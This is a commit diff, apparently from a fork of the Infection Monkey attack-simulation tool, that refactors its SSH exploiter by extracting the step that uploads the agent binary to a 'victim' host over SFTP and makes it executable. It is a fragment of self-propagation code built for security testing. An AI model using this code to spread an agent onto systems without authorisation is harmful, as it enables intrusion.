forked from p15670423/monkey
Agent: Extract method _upload_agent_binary
This commit is contained in:
parent
9dac64b60e
commit
dc8a0ac2ad
|
@ -256,23 +256,7 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
monkey_path_on_victim = get_agent_dst_path(self.host)
|
monkey_path_on_victim = get_agent_dst_path(self.host)
|
||||||
|
|
||||||
try:
|
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
|
||||||
with ssh.open_sftp() as ftp:
|
|
||||||
ftp.putfo(
|
|
||||||
agent_binary_file_object,
|
|
||||||
str(monkey_path_on_victim),
|
|
||||||
file_size=len(agent_binary_file_object.getbuffer()),
|
|
||||||
callback=self.log_transfer,
|
|
||||||
)
|
|
||||||
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
|
||||||
|
|
||||||
status = ScanStatus.USED
|
|
||||||
except Exception as exc:
|
|
||||||
self.exploit_result.error_message = (
|
|
||||||
f"Error uploading file into victim {self.host}: ({exc})"
|
|
||||||
)
|
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
status = ScanStatus.SCANNED
|
|
||||||
|
|
||||||
self.telemetry_messenger.send_telemetry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
|
@ -332,6 +316,30 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
def _upload_agent_binary(
|
||||||
|
self,
|
||||||
|
ssh: paramiko.SSHClient,
|
||||||
|
agent_binary_file_object: io.BytesIO,
|
||||||
|
monkey_path_on_victim: PurePath,
|
||||||
|
) -> ScanStatus:
|
||||||
|
try:
|
||||||
|
with ssh.open_sftp() as ftp:
|
||||||
|
ftp.putfo(
|
||||||
|
agent_binary_file_object,
|
||||||
|
str(monkey_path_on_victim),
|
||||||
|
file_size=len(agent_binary_file_object.getbuffer()),
|
||||||
|
callback=self.log_transfer,
|
||||||
|
)
|
||||||
|
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
|
||||||
|
|
||||||
|
return ScanStatus.USED
|
||||||
|
except Exception as exc:
|
||||||
|
self.exploit_result.error_message = (
|
||||||
|
f"Error uploading file into victim {self.host}: ({exc})"
|
||||||
|
)
|
||||||
|
logger.error(self.exploit_result.error_message)
|
||||||
|
return ScanStatus.SCANNED
|
||||||
|
|
||||||
def _set_executable_bit_on_agent_binary(
|
def _set_executable_bit_on_agent_binary(
|
||||||
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath
|
||||||
):
|
):
|
||||||
|
|
Loading…
Reference in New Issue